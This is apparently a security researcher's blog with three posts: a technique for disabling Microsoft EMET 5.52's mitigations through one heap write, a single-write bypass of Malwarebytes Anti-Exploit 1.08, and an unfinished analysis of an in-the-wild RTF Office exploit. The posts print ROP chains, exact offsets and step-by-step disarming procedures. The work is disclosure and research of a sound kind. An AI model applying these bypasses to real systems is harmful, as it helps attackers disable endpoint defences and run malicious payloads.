Disarming EMET 5.52: Controlling it all with a single write action

The Enhanced Mitigation Experience Toolkit (EMET) is a software solution from Microsoft that aims at preventing the exploitation of – legacy – software. It is designed to “help prevent attackers from gaining access to computer systems [and] anticipates the most common techniques attackers might use to exploit vulnerabilities in computer systems, and helps protect by diverting, terminating, blocking, and invalidating those actions and techniques.” [1]

This blog post presents a previously undocumented disarming technique that can be used to completely disable EMETs mitigations without requiring large, complicated ROP chains or shellcodes and a way to handle EAF in EMET 5.5x. As a result it will be possible to use a default ROP chain and shellcode generated by Metasploit.

TL;DR: The pointer to the read-only struct that stores all of EMET’s mitigation settings is always retrieved from the writable process heap. Hijacking this pointer only requires read-write access to memory and could enable an adversary to prevent EMET’s anti-ROP mitigations from ever being performed. EAF can optionally be subverted with a single, additional VirtualProtect call.

 

Bypassing tactics

As EMET is probably one of the most well-known exploit mitigation solutions around, it should not come as a surprise that a lot has already been written about EMET or exploit mitigation bypasses in general [3-19]. In general, a few ways can be chosen to bypass EMET:

  • Bypass individual mitigations by crafting a ROP chain and shellcode in such a way that all mitigation checks pass.
  • Jump over hooks or use system calls.
  • Use an implementation flaw to disable one or multiple mitigations.

 

Previous EMET disarming techniques

The third route will be taken in this blog post, as the number of new generic exploit mitigation bypasses is quite limited. Previous research performed by Offensive Security in 2014 gives an idea of what kind of implementation flaws – that could be used to disable EMETs mitigations – plagued it in the past.

EMET 4.1 [3, 4]
EMET relies on a DLL (EMET.dll) that is injected into every protected process to perform its mitigation checks. In EMET 4.1 all mitigation settings were stored as global variables in writable memory in the .data segment of EMET.dll. It should not come as a surprise that these settings could easily be manipulated. Offensive Security disabled the anti-ROP mitigation (ROP-P) switch at offset +0x0007e220 within EMET.dll to prevent all anti-ROP mitigations from ever being performed. Although other variables like the mitigation settings bitmap stored at offset +0x0007e21c could also be manipulated. Disabling EMET 4.1 using this implementation flaw would only require determining the base address of EMET.dll and zero-ing out either the ROP-P switch or the mitigation bitmask.

var emetBase:uint = ...;

// ROP-P switch
pe.writeDword(emetBase+0x7e220, 0x00000000); 

// Mitigation bitmask
//pe.writeDword(emetBase+0x7e21c, 0x00000000);

EMET 5.0 [5]

In EMET 5.0 some things changed. The ROP-P switch would now be stored on the heap instead in a structure that Offensive Security named CONFIG_STRUCT. Moreover, the address of the struct would also be encoded using the EncodePointer API. Offensive Security noticed that the ROP-P switch was still located in writable memory, thus making a new disarming opportunity possible. They obtained the address of the writable CONFIG_STRUCT structure by calling DecodePointer from a ROP chain. Offsec’s technique can be implemented using a ROP chain that calls DecodePointer with the encoded pointer as argument and that zeroes out the CONFIG_STRUCT->ROP-P field.

var ntdllBase:uint = ...;
var emetBase:uint = ...;

var DecodePointer:uint = pe.getProcAddress(ntdllBase, "RtlDecodePointer");
var encodedPtr:uint = pe.readDword(emetBase + 0xaa84c); 

rop[i++] = DecodePointer;     // Call DecodePointer with 'encodedPtr' as argument (CONFIG_STRUCT addr ends in eax)
rop[i++] = add_esp_0c;        // (add esp, 0x0c; ret) Return to 'pop_esi' further on the stack
rop[i++] = encodedPtr;
rop[i++] = 0x41414141;        // Padding
rop[i++] = 0x42424242;
rop[i++] = 0x43434343;
rop[i++] = pop_esi;           // (pop esi; ret) Place ROP-P offset within CONFIG_STRUCT (+0x558) in esi
rop[i++] = 0x558;
rop[i++] = add_eax_esi;       // (add eax, esi; ret) Add +0x558 to the CONFIG_STRUCT address to get the ROP-P swith addr

rop[i++] = pop_edx;           // (pop edx; ret) Place 0x00000000 in edx
rop[i++] = 0x00000000;
rop[i++] = mov_dword_eax_edx; // (mov [eax], edx; ret) Zero out the ROP-P switch

EMET 5.1 [6]
It took another release of EMET to fix this issue. Since EMET 5.1 all mitigation settings are stored in read-only memory. Offensive security used the unhooked version of the NtProtectVirtualMemory API to make the CONFIG_STRUCT structure writable again, even though this is more a limitation of exploit mitigation software in general than another disarming flaw.

EMET 5.2 and 5.5x
As far as the author of this blog could determine only two other disarming techniques for EMET were published since the series of publications from Offensive Security. One relying on functionality in EMET that could be used to remove all hooks [7] and one that hijacked the encoded CONFIG_STRUCT pointer that was stored in the writable .data segment of EMET.dll [8]. A review of Offsec’s Advanced Windows Exploitation (AWE) course indicates that Offensive Security applies a variant of their EMET 5.1 disarming technique to later versions of EMET [9].

 

EMET 5.52 Anti-ROP disarm

Since v5.0 EMET uses two sections of read-only heap memory to store two essential structures. The first one is the EMET_SETTINGS struct, which stores the mitigation settings that can be configured in the Application Configuration window of the EMET GUI.

EMET settings configurable per application

The second read-only struct – named CONFIG_STRUCT by Offsec – stores a pointer to the EMET_SETTINGS struct, the addresses of all hooked APIs and the addresses of the hook handlers (each hooked API has one).

struct CONFIG_STRUCT {
    LPVOID lpEMET_SETTINGS;
    ... // List of API / Hook handler addresses
};

In EMET 5.52 memory for the EMET_SETTINGS structure is allocated in a function at offset 0x0002139F within EMET.dll. In this function VirtualAlloc allocates 0x2000 bytes of memory for the EMET_SETTINGS struct. Subsequently, RtlAllocateHeap is used to allocate a block of memory of 0x24 bytes from the process heap for a struct that Offsec named EMETd. The EMETd struct stores the size of the EMET_SETTINGS or CONFIG_STRUCT struct, a pointer to one of these two structs and whether either of these structs is writable or not.

struct EMETd {
    LPCRITICAL_SECTION CriticalSection; // Reserved
    DWORD configSize;
    LPVOID lpConfigPtr;                 // EMET_SETTINGS / CONFIG_STRUCT ptr
    DWORD isWritable;
};

Finally, the pointer to the EMETd struct is encoded using EncodePointer and the memory storing the EMET_SETTINGS struct is marked as PAGE_READONLY. In a different function EMET_SETTINGS is filled with the actual mitigation settings that are stored in the Registry.

// Code simplified for clarity
int *init_emet_settings() {
    ...
    SIZE_T dwSize = 0x2000;
    EMET_SETTINGS *es = (EMET_SETTINGS *)VirtualAlloc(NULL, dwSize, MEM_COMMIT, PAGE_READWRITE);
    EMETd *emetd = (EMETd *)RtlAllocateHeap(*(HANDLE *)(__readfsdword(0x30u) + 0x18), HEAP_ZERO_MEMORY, 0x24);
    ...
    emetd->lpConfigPtr = EMET_SETTINGS;  // *((DWORD *)emetd + 6)
    emetd->configSize = dwSize           // *((DWORD *)emetd + 7)
    emetd->isWritable = 1;               // *((DWORD *)emetd + 8)

    InitializeCriticalSectionAndSpinCount((LPCRITICAL_SECTION)emetd, 0x8000FA0u);
    dword_100F2B90 = EncodePointer(emetd);
    mark_config_readonly((LPCRITICAL_SECTION)emetd);
    return &dword_100F2B90;
}

In a similar function (at offset 0x00025734 in EMET.dll) 0x1000 bytes of memory is allocated for the CONFIG_STRUCT struct.

// Code simplified for clarity
int *init_config_struct() {
    ...
    SIZE_T dwSize = 0x1000;
    CONFIG_STRUCT *cs = (CONFIG_STRUCT *)VirtualAlloc(NULL, dwSize, MEM_COMMIT, PAGE_READWRITE);
    EMETd *emetd = (EMETd *)RtlAllocateHeap(*(HANDLE *)(__readfsdword(0x30u) + 0x18), HEAP_ZERO_MEMORY, 0x24);
    ...
    emetd->lpConfigPtr = CONFIG_STRUCT;  // *((DWORD *)emetd + 6)
    emetd->configSize = dwSize;          // *((DWORD *)emetd + 7)
    emetd->isWritable = 1;               // *((DWORD *)emetd + 8)

    InitializeCriticalSectionAndSpinCount((LPCRITICAL_SECTION)emetd, 0x8000FA0);
    dword_100F2BC8 = EncodePointer(emetd);
    mark_config_readonly((LPCRITICAL_SECTION)emetd);
    return &dword_100F2BC8;
}

In the end the address of the EMET_SETTINGS struct is only retrieved in one of the following two ways in EMET.dll:
1.

EMETd *emetd = (EMETd *)DecodePointer(EMET.dll+0x000f2bc8);
CONFIG_STRUCT *cs = (CONFIG_STRUCT *)emetd->lpConfigPtr;
EMET_SETTINGS *es = (EMET_SETTINGS *)cs->lpEMET_SETTINGS;

2.

EMETd *emetd = (EMETd *)DecodePointer(EMET.dll+0x000f2b90);
EMET_SETTINGS *es = (EMET_SETTINGS *)emetd->lpConfigPtr;

Both the init_emet_settings and the init_config_struct function form the basis of a previously undocumented disarming condition, due to the fact that the two EMETd structs are stored on the process heap. As the process heap has a PAGE_READWRITE protection, any adversary could control the contents of the two EMETd structs. The two structs store a pointer to either the EMET_SETTINGS or the CONFIG_STRUCT struct, making it is possible to control the mitigation settings in one way or another.

Breaking at a DecodePointer(EMET.dll+0x000f2bc8) call in EMET.dll also demonstrates the fact that the EMETd struct is stored in writable heap memory.

Disarming flaw visualized with a WinDbg breakpoint.

Preventing anti-ROP checks

One place where this disarming flaw can be (ab)used is in the function at offset 0x00060d50 within EMET.dll that determines which mitigation checks have to be performed. It should not come as an surprise that the mitigation_handler function relies on data from the CONFIG_STRUCT and EMET_SETTINGS structs.

The function obtains the address of the CONFIG_STRUCT structure by first decoding the address of the second EMETd struct and looking up the CONFIG_STRUCT address stored in the EMETd->lpConfigPtr field. Subsequently, an if-statement checks whether CONFIG_STRUCT->lpEMET_SETTINGS is zero. If it is not zero, the pointer should store the address of the EMET_SETTINGS structure. Finally, EMET_SETTINGS is consulted to find out which mitigation checks have to be performed.

// Code simplified for clarity
int mitigation_handler(int a1) {
    EMETd *emetd = (EMETd *)DecodePointer(dword_100F2BC8);
    CONFIG_STRUCT *cs = (CONFIG_STRUCT *)emetd->lpConfigPtr;

    /*
     * Make this check fail and no anti-ROP mitigation will be performed.
     * This can be done by making sure ((CONFIG_STRUCT *)EMETd->lpConfigPtr)->lpEMET_SETTINGS is zero
     */
    if ( cs->lpEMET_SETTINGS ) {
        EMET_SETTINGS *es = (EMET_SETTINGS *)cs->lpEMET_SETTINGS;
        int mitigation_bitmask = dword_100CC0D8[3 * DecodePointer(*(DWORD *)(a1 + 0x30))];
        if ( !(mitigation_bitmask & 0x100000) || es->MandatoryASLR != 1 || ... ) {
            ...
            if (...) {
                ...
                if ( mitigation_bitmask & 0x40 & es->StackPivot )
                    stackpivot_mitigation(...);
                if ( mitigation_bitmask & 0x10 & es->MemProt )
                    memprot_mitigation(...);
                if ( mitigation_bitmask & 0x100 & es->BannedFunctions )
                    bannedfunctions_mitigation(...);
                if ( *(BYTE *)(es + 0x44) ) {
                    if ( mitigation_bitmask & 0x400 & es->Caller )
                        caller_mitigation(...);
                    if ( mitigation_bitmask & 0x1000 & es->SimExecFlow )
                        simexecflow_mitigation(...);
                }
                if ( mitigation_bitmask & 0x4 & es->LoadLib )
                    loadlib_mitigation(...);
                if ( mitigation_bitmask & 0x4000 & es->ASR & !asr_mitigation(...) )
                    ...
            }
            ...
            if ( mitigation_bitmask & 0x10000 & es->EAF+ )
                eafplus_rop_mitigation(...);
            ...
        } else { ... }
    } else { ... }
    return ...;
}

As mentioned earlier, everything stored in one of the two EMETd structs, can be controlled from an exploit, if we make sure that ((CONFIG_STRUCT *)EMETd->lpConfigPtr)->lpEMET_SETTINGS is zero, then no single anti-ROP mitigation check will ever be performed.

This can be achieved by writing the address of an empty dword to EMETd->lpConfigPtr. If 0x00000000 is for example stored at the address 0x0c2c1200, then writing 0x0c2c1200 to EMETd->lpConfigPtr on the process heap, ensures that all anti-ROP mitigations will be skipped.

 

Exploitation

Locating the EMETd struct on the process heap is the trickiest part of the exploitation process. The location of the process heap cannot be guessed due to the randomized allocation of heap memory. Two routes can be taken to locate the EMETd struct:

  • Invoke DecodePointer(EMET.dll+0x000f2bc8) using a ROP chain
  • Perform a series of read operations

Simply calling DecodePointer(EMET.dll+0x000f2bc8) would require multiple ROP gadgets, therefore I will only focus on the route that relies on a series of read operations. This approach requires full read access to the process’ virtual address space, although nowadays most (browser) exploits will already have this ability to bypass ASLR.

Scanning the process heap

As seen in the figure below, the values 0x1000, 0x0 and 0x0 can be found on the process heap right after the EMET->lpConfigPtr field.

EMETd content (highlighted in red: EMETd->lpConfigPtr field)

These values can function as markers when scanning the process heap. When the location of the EMETd->lpConfigPtr field has been determined, it can be replaced with the address of a location that stores zero. Although this all first requires knowing the location of the process heap.

Locating the process heap
The location of the process heap does not appear to be reliably guessable due to the randomized allocation of heap memory, a reference to the process heap can still be obtained from the PEB via _PEB->ProcessHeap.

Locating the PEB
Searching for references of the PEB reveals that, at least on 32 and 64 bit versions of Windows 7, the .data of ntdll.dll stores the addresses of the following fields from the PEB:
⦁ _PEB->TlsBitmapBits (PEB+0x44)
⦁ _PEB->TlsExpansionBitmapBits (PEB+0x154)
⦁ _PEB->FlsBitmapBits (PEB+0x21c)

Addresses of several PEB fields stored in the .data segment of ntdll.dll

Summary
Combining the steps mentioned above results in a disarming solution that only requires read-write access to memory, that does not touch EMET.dll and that only relies on writing a single dword to memory. To summarize, this flaw can be used to prevent most of EMETs mitigations in the following way:

  1. Determine the location of the PEB using addresses of several fields of the PEB that are stored in the .data segment of ntdll.dll
  2. Get the address of the process heap from _PEB->ProcessHeap
  3. Scan the process heap for the EMETd struct
  4. Overwrite the EMETd->lpConfigPtr field on the process heap with with the address of a location that stores zero.

After the final write action, it has been ensured that all anti-ROP mitigations will be skipped. How about the other mitigations?

 

Heap Spray Allocation

By default, EMET pre-allocates several regions of memory based on a specified list of addresses (like 0x0a0a0a0a and 0x0c0c0c0c) that might be used by off-the-shelf exploits that contain a heap spray. This mitigation does not form a barrier as a ROP chain and shellcode can be stored at other addresses on the heap.

 

EAF+

As just about all modern browsers should be properly ASLR’ed at this point in time, bypassing ASLR would require some kind an info leak. This could either require an additional out-of-bounds (OOB) read vulnerability or a vulnerability that can be used to create a read-write primitive to the virtual address space of the exploited process. The second way seems to have become the standard way. Creating this RW primitive can for example be achieved by corrupting the length field of an array object [2]. After this RW primitive has been created, the content of the process’ dlls can be parsed by the exploit in search of APIs like VirtualProtect and ROP gadgets. EAF+ is designed to complicate this type of memory read-outs [1]. EAF+ does not prevent the corruption of the length field of an array object, but should make it harder for an attacker to obtain useful information from loaded dlls. Of the four sub-mitigations of EAF+, the following two are most relevant:

  • [Detection of] memory read access to export table pointers of KERNEL32, NTDLL and KERNELBASE originated from specific modules
  • [Detection of] memory read accesses to the MZ/PE header of specific modules [1]

Unfortunately, EAF+ appears to be malfunctioning since EMET 5.5, therefore there is no need to bypass it. If it would have worked properly, it would have been a powerful mitigation. The author of this blog post is not aware of any previous publicly documented EAF+ bypasses that do not rely on hardcoding offsets.

 

Export Address Table Access Filtering (EAF)

The task of EAF is to disrupt shellcodes that parse the export table of certain modules in search of certain APIs [1]. In earlier versions of EMET, hardware breakpoints placed on the IMAGE_EXPORT_DIRECTORY.AddressOfFunctions field in kernel32.dll, kernelbase.dll and ntdll.dll would be used to detect these actions. In EMET 5.5x, EAF appears to use a guard page instead (even though this is not documented anywhere).

In EMET 5.5 and 5.51 this guard page is placed on the Export Directory of ntdll.dll.

Guard page on Exports Directory of ntdll.dll under EMET 5.5 / 5.51

Whereas in EMET 5.52 it can be found on the MZ/PE header of ntdll.dll.

Guard page on PE/MZ header of ntdll.dll under EMET 5.52

As no single anti-ROP mitigations will be performed at this point, VirtualProtect can be called from a standard ROP chain to change the protection of the guard page. This subverts the guard page and effectively prevents EAF from functioning, making it is possible to execute a standard Metasploit shellcode.

// NTDLL.dll MZ/PE header protection: PAGE_READONLY + PAGE_GUARD --> PAGE_READONLY
rop[i++] = VirtualProtect; // Call VirtualProtect
rop[i++] = ...;            // Return address

// VirtualProtect() arguments
rop[i++] = ntdllBase       // lpAddress
rop[i++] = 0x1000;         // dwSize
rop[i++] = 0x2;            // flNewProtect (PAGE_READONLY)
rop[i++] = evAddr + 0x20;  // lpflOldProtect

The choice was made to use an unmodified shellcode generated by Metasploit, this has as disadvantage that it will be caught by EAF unless the mitigation gets disabled. Alternatively, a shellcode may be used that extracts addresses of APIs from the Import Address Table (IAT) instead of the Export Address Table (EAT). Previous research indicates that EAF will not prevent the execution of this kind of shellcodes [15, 18], although this has not been tested by the author of this blog.

 

Reference list

[1] “EMET 5.52 User Guide” by Microsoft, https://www.microsoft.com/en-us/download/details.aspx?id=54265
[2] “ASLR Bypass Apocalypse in Recent Zero-Day Exploits” by Xiaobo Chen (FireEye), https://www.fireeye.com/blog/threat-research/2013/10/aslr-bypass-apocalypse-in-lately-zero-day-exploits.html

Previous EMET disarming flaws
[3] “Fun with Dr. Brown” by Spencer McIntyre (SecureState), http://www.slideshare.net/zeroSteiner/fun-with-dr-brown
[4] “Disarming Enhanced Mitigation Experience Toolkit (EMET)” by Offensive Security, https://www.offensive-security.com/vulndev/disarming-enhanced-mitigation-experience-toolkit-emet/
[5] “Disarming EMET v5.0” by Offensive Security, https://www.offensive-security.com/vulndev/disarming-emet-v5-0/
[6] “Disarming and Bypassing EMET 5.1” by Offensive Security, https://www.offensive-security.com/vulndev/disarming-and-bypassing-emet-5-1/
[7] “Using EMET to disable EMET” by Abdulellah Alsaheel (Mandiant) and Raghav Pande (FireEye), https://www.fireeye.com/blog/threat-research/2016/02/using_emet_to_disabl.html
[8] “Look Mom, I don’t use shellcode” by Moritz Jodeit (Blue Frost Security Research Lab),
https://labs.bluefrostsecurity.de/files/Look_Mom_I_Dont_Use_Shellcode-WP.pdf
[9] “Our pentester on tour: Advanced Windows Exploitation course review” by Wesley Neelen (DearBytes), https://www.dearbytes.com/blog/advanced-windows-exploitation-review/

Previous EMET mitigation bypasses
[10] “Defeating EMET 5.2 & 5.5” by Raghav Pande, https://casual-scrutiny.blogspot.com/2015/03/defeating-emet-52.html
[11] “Defeating EMET Protections (2)” by Raghav Pande, https://casual-scrutiny.blogspot.com/2015/03/defeating-emet-52-protections-2.html
[12] “WoW64 and So Can You – Bypassing EMET With a Single Instruction” by Darren Kemp and Mikhail Davidov (Duo Security), https://duo.com/assets/pdf/wow-64-and-so-can-you.pdf
[13] “Bypassing EMET 4.1” by Jared DeMott (Bromium), https://bromiumlabs.files.wordpress.com/2014/02/bypassing-emet-4-1.pdf
[14] “Mitigating Wow64 Exploit Attacks” by SurfRight, https://hitmanpro.wordpress.com/2015/11/10/mitigating-wow64-exploit-attacks/
[15] “Teaching Old Shellcode New Tricks” by Josh Pitts, https://recon.cx/2017/brussels/resources/slides/RECON-BRX-2017-Teaching_Old_Shellcode_New_Tricks.pdf

Generic (partial) ITW exploit mitigation bypasses
[16] “Deep Dive into ROP Payload Analysis” by Sudeep Singh, https://dl.packetstormsecurity.net/papers/general/rop-deepdive.pdf
[17] “How the Wolf attacked and outsmarted defenses with CVE-2015-3113” by SurfRight, https://hitmanpro.wordpress.com/2015/07/02/how-apt3-evaded-anti-exploits-with-cve-2015-3113/
[18] “CVE-2015-2545 ITW EMET Evasion” by Raghav Pande, https://casual-scrutiny.blogspot.com/2016/02/cve-2015-2545-itw-emet-evasion.html
[19] “Angler Exploit Kit evading EMET” by Raghav Pande and Amit Malik (FireEye), https://www.fireeye.com/blog/threat-research/2016/06/angler_exploit_kite.html

 

Appendix – Timeline

May 2016 Disarming flaw reported to MSRC
1 August 2016 EMET 5.51 released (flaw unfixed)
14 November 2016 EMET 5.52 released (flaw unfixed)
January 2017 Last contact with MSRC (“This issue should be addressed in [the next] version whenever it is finally released”)

 

Appendix – Pre-allocated heap pages

Specified address Pre-allocated range
0x04040404 0x04040000 – 0x04042000
0x05050505 0x05050000 – 0x05052000
0x06060606 0x06060000 – 0x06062000
0x07070707 0x07070000 – 0x07072000
0x08080808 0x08080000 – 0x08082000
0x09090909 0x09090000 – 0x09092000
0x0a040a04 0x0a040000 – 0x0a042000
0x0a0a0a0a 0x0a0a0000 – 0x0a0a2000
0x0b0b0b0b 0x0b0b0000 – 0x0b0b2000
0x0c0c0c0c 0x0c0c0000 – 0x0c0c2000
0x0d0d0d0d 0x0d0d0000 – 0x0d0d2000
0x0e0e0e0e 0x0e0e0000 – 0x0e0e2000
0x14141414 0x14140000 – 0x14143000
0x20202020 0x20200000 – 0x20204000

 

Appendix – Hooked functions

kernel32!CreateFileA
kernel32!CreateFileMappingA
kernel32!CreateFileMappingWStub
kernel32!CreateFileWImplementation
kernel32!CreateProcessA
kernel32!CreateProcessInternalA
kernel32!CreateProcessInternalW
kernel32!CreateProcessW
kernel32!CreateRemoteThreadStub
kernel32!GetProcessDEPPolicy
kernel32!HeapCreateStub
kernel32!LoadLibraryA
kernel32!LoadLibraryExAStub
kernel32!LoadLibraryExWStub
kernel32!LoadLibraryW
kernel32!MapViewOfFileExStub
kernel32!MapViewOfFileStub
kernel32!SetProcessDEPPolicy
kernel32!VirtualAllocExStub
kernel32!VirtualAllocStub
kernel32!VirtualProtectExStub
kernel32!VirtualProtectStub
kernel32!WinExec
kernel32!WriteProcessMemoryStub
KERNELBASE!CreateFileMappingNumaW
KERNELBASE!CreateFileMappingW
KERNELBASE!CreateFileW
KERNELBASE!CreateRemoteThreadEx
KERNELBASE!CreateRemoteThreadEx
KERNELBASE!HeapCreate
KERNELBASE!LoadLibraryExA
KERNELBASE!LoadLibraryExW
KERNELBASE!MapViewOfFile
KERNELBASE!MapViewOfFileEx
KERNELBASE!VirtualAlloc
KERNELBASE!VirtualAllocEx
KERNELBASE!VirtualProtect
KERNELBASE!VirtualProtectEx
KERNELBASE!WriteProcessMemory
ntdll!LdrHotPatchRoutine
ntdll!LdrLoadDll
ntdll!NtCreateFile
ntdll!NtCreateUserProcess
ntdll!NtProtectVirtualMemory
ntdll!NtUnmapViewOfSection
ntdll!RtlAddVectoredExceptionHandler
ntdll!RtlCreateHeap
ntdll!ZwAllocateVirtualMemory
ntdll!ZwCreateProcess
ntdll!ZwCreateProcessEx
ntdll!ZwCreateSection
ntdll!ZwCreateThreadEx
ntdll!ZwMapViewOfSection
ntdll!ZwWriteVirtualMemory

Advertisement

Circumventing Malwarebytes Anti-Exploit 1.08 with a single write to memory

This blog post has been written based  on Malwarebytes Anti-Exploit 1.08.1.1189. The described limitation of Anti-Exploit has been fixed in v1.09

One of the ways in which computers get infected by adversaries is by using remote code execution exploits. Where there are attack vectors, there are defenses. A well-known piece of software that can tackle most common exploits is Malwarebytes Anti-Exploit. Just like EMET Anti-Exploit consists of a series of exploit mitigations that should stop most off-the-shelf exploits. However, this does not mean that with enough time spent into researching a security solution there is no way to bypass it. No single security product can have a definitive advantage in the cat-and-mouse game between security researchers and exploit developers at one side and the defenders at the other side.

If an attacker would want to bypass Anti-Exploit two paths can be followed:

  1. Bypass each individual mitigation.
  2. Find a single technique to disable most (or all) of MBAE’s mitigations.

In this blog post a technique will be discussed that takes the second route.

Disarming Anti-Exploit

Just like EMET Anti-Exploit stores its configuration in a section of read-only memory (from now on called MITIGATION_CONFIG). Based on this configuration it is determined whether a mitigation check should be performed or not.

config_blob

Figure 1: Read-only configuration (MITIGATION_CONFIG)

(Almost) all mitigations that Anti-Exploit implements to appear check in the same way whether a mitigation is enabled or not. Let’s for example take the function that implements the stack pivot mitigation in Anti-Exploit 1.08.1.1189. As shown in the figure below, Anti-Exploit assesses whether the mitigation is enabled before checking whether a given address lies within the stack boundaries as defined in the TIB.

stackpivot_renamed

Figure 2: Decompilation of function that implements the stack pivot mitigation in Anti-Exploit 1.08.1.1189

Anti-Exploit checks whether a mitigation is enabled by performing an AND operation on a global boolean variable stored at mbae.dll+0x53b00 and the mitigation setting of the stack pivot mitigation in the read-only config (MITIGATION_CONFIG+0x3c). When the stack pivot mitigation is enabled 0x35f is stored at MITIGATION_CONFIG+0x3c, when the mitigation disabled 0x35e is stored at MITIGATION_CONFIG+0x3c. Under normal conditions one of the two following AND operations will be performed:

Stack pivot mitigation enabled 0x1 & 0x35f = 1
Stack pivot mitigation disabled 0x1 & 0x35e = 0

If the mitigation is not enabled the function responsible for the stack pivot mitigation (mbae.dll+0x6980) will return zero as expected. There is one catch though with this AND operation, the global boolean variable (mbae.dll+0x53b00) is stored in writable memory.

global_switch_protection

Figure 3: Protection of global boolean variable stored at mbae.dll+0x53b00

When mbae.dll+0x53b00 is overwritten with zero, the AND operation will always yield zero. This type of check seems to be used in about all mitigations, therefore it is possible to disable Anti-Exploit by only overwriting one value in memory. The table below shows the effect of overwriting the boolean variable with zero on the stack pivot mitigation:

disarm + stack pivot enabled 0x0 & 0x35f = 0
disarm + stack pivot disabled 0x0 & 0x35e = 0

Writing a POC for this disarming flaw would only require the following two steps:

  1. Obtain the base address of mbae.dll
  2. Overwrite mbae.dll+0x53b00 with NULL (For MBAE 1.08.1.1189)

This disarming flaw discussed in this blog post has been fixed in MBAE version 1.09 by marking the memory that stores the boolean variable as read-only.

Ongoing analysis of unknown exploit targeting Office 2007-2013 UTAI MS15-022

NB: This blog post will be updated in the upcoming days with more information

Introduction

A few days before the publishing of this blog post I came across an unknown RTF exploit sample which I could not identify as being an exploit targeting a known vulnerability like CVE-2012-0158 or CVE-2014-1761. It turns out that this exploit sample has a far greater impact than most other ‘traditional’ memory corruption exploits targeting MS Office. Successful exploitation seems to be possible on all currently supported versions of MS Office up and including the MS15-022 patch.

ammendment.doc exploit sample

File name ammendment.doc
File size 371.8 KB
File type Rich Text Format data, unknown version
MD5 ae6b65ca7cbd4ca0ba86c6278c834547
First seen on VirusTotal 2015-08-04 07:29:17 UTC
Rerefences VT, Malwr.com, Cryptam.com

The exploit sample analyzed in this blog post is an RTF file which contains 4 embedded objects. Each object has its own role in one of the stages of exploitation like: loading a non-aslr module, spraying the heap or triggering the vulnerability.

Object (In order of appearance) Likely Role
otkloadr.WRAssembly.1 Loads “msvcr71.dll” module for ASLR bypass
Word.Document.12 Heap spray using ActiveX objects
Used to store ROP chain and a 1st stage shellcode
Word.Document.12 Vulnerability trigger
Word.Document.12 Heap spray using ActiveX objects.
Role to be determined

Configurations targeted

Several different configurations have been tested against the ammendment.doc sample and it turns out that this exploit is very universal. All currently supported versions of MS Office up to and including the MS15-022 patch seem vulnerable. Installations employing ForceASLR (like Office 2013 on Windows 8.1) do not seem vulnerable.

Configuration targeted
MS Word 2007 <= MS15-022
MS Word 2010 <= MS15-022
MS Word 2013 <= MS15-022

 

CVE classification

Up to this point it is unclear which vulnerability has been exploited by this exploit. The fact that this exploit is only able of dropping its payload on versions of office up to and including MS15-022 might indicate that the vulnerability exploited by this exploit was patched in MS15-033.

On the other hand, the appearance date of this sample could indicate that this is a sample of CVE-2015-1642, a vulnerability patched by Microsoft in August 2015. But this is just pure speculation.

VirusTotal and Cryptam are not able to provide any relevant information regarding the targeted vulnerability either.

Exploited vulnerability – to be completed

A high level analysis of the exploited vulnerability is planned for the near future.

 

ASLR bypass

A known technique is being used to bypass ASLR, making it possible to use hardcoded addresses of ROP gadgets. This technique has first been mentioned by Parvez Anwar back in June 2014 on greyhathacker.net. The exploits loads the otkloadr.dll library which contains the ProgID “otkloadr.WRAssembly.1”. This ProgID ensures that a “msvcr71.dll” library which is not compiled with the /DYNAMICBASE option will be loaded.

oktloadr_obj_web

otkloadr.WRAssembly.1 object in RTF sample

Heap spray

The heap spray used in the ammendment.doc sample is similar in nature as one that has been seen in exploits targeting CVE-2013-3906. In this case the activeX1.bin file is loaded 40 times when the sample is loaded.

activex_spray_unzipped_web

 

Inside of the activeX1.bin file (MD5:23cc315702179b8552b702892e433801) two things can be found:

  1. Padding containing 0x7C342404 dwords functioning as a RET-sled.
  2. A ROP chain and first stage shellcode after every 0x20000 bytes. (16 repetitions in total)
activex1_bin_hexedit_web

ROP chain and following shellcode as seen from activeX1.bin

ROP chain

The point at which the execution flow is taken over has not yet been identified, in the meanwhile only the part of the ROP chain responsible for marking memory as executable will be discussed.

After taking control over ESP (0x0900810) the execution flow will be redirected to the RET-sled located on the heap.

ret_sled_hit_web

Execution flow reaching the RET-sled

Due to the inaccuracy of the heap spray execution will end up in the RET-sled. Following the RET-sled, eventually the ROP chain responsible for marking memory as executable will be hit.

0x7c342404    # ret
0x7c3651eb    # pop ebp # ret
0x7c3651eb    # skip 4 bytes
0x7c372b02    # pop ebx # ret 
0x00000201    # 0x201 -> ebx 
0x7c344364    # pop edx # ret 
0x00000040    # 0x40 -> edx 
0x7c351a28    # pop ecx # ret 
0x7c390fc7    # &Writable location -> ecx
0x7c342e9e    # pop edi # ret 
0x7c34a40f    # ret -> edi 
0x7c3650dc    # pop esi # ret 
0x7c3415a3    # jmp dword ptr [eax] -> esi 
0x7c347f97    # pop eax # ret 
0x7c37a151    # ptr to &VirtualProtect() - 0x0EF
0x7c378c4d    # pushad # add al,0EFh # ret 
0x7c345c30    # push esp # ret

People with eye for detail might notice that this ROP chain looks very similar to chains generated by Mona.py. After the “push esp # ret” gadget the first stage shellcode will be executed.

 

Shellcode analysis

The exploit analyzed in this blog post contains an advanced multistage shellcode which decrypts and drops a backdoor and innocent looking bait.

The 1st stage of the shellcode functions as egg hunter and is used to prepare for the execution of the 2nd stage shellcode. Dropping the lure and backdoor happens in the encrypted 2nd stage shellcode.

1st stage

The 1st stage shellcode functions as an egg hunter and prepares the execution of the 2nd stage shellcode. Its main functionality includes:

  • Locating the RTF file and 2nd stage shellcode in memory
  • Moving the 2nd stage shellcode to a pre-allocated buffer
  • Parsing data to the 2nd stage shellcode

Function addresses are retrieved by comparing the ROR-7 hashes of exported function names.

A disassembled version of this shellcode can be found on onlinedisassembler.com, A pseudocode equivalent of the 1st stage shellcode is available at the end of this blog post.

2nd stage

Dropping the actual backdoor happens in the 2nd stage shellcode. This 2nd stage shellcode is encrypted with a XOR-key of 0xfc to complicate shellcode detection based on signatures.

main_xor_decrypt_web

XOR decrypt of 2nd stage shellcode

Commented assembly and pseudocode of both shellcodes will be added at a later point in time.

 

Lure

File size 371.8 KB
Author RCE
Creation date 2015:07:28 12:10:00
File type Microsoft Word 97-2003 Document
MD5 15b5ab180ab245057d8cd4fafc63febc
First seen on VirusTotal 2015-08-04 07:29:17 UTC
Rerefences VT

After a successful exploitation a backdoor and an innocent looking document will be dropped. In this case the lure does not contain any specific target related information and only displays the sentence: “Hey……..”

lure_web

Lure document that is shown after successful exploitation

Payload analysis

NB: More relevant data about the payload being dropped will be added in the future. The information currently provided must be seen as “as is” and is incomplete for now.

Relevant metadata

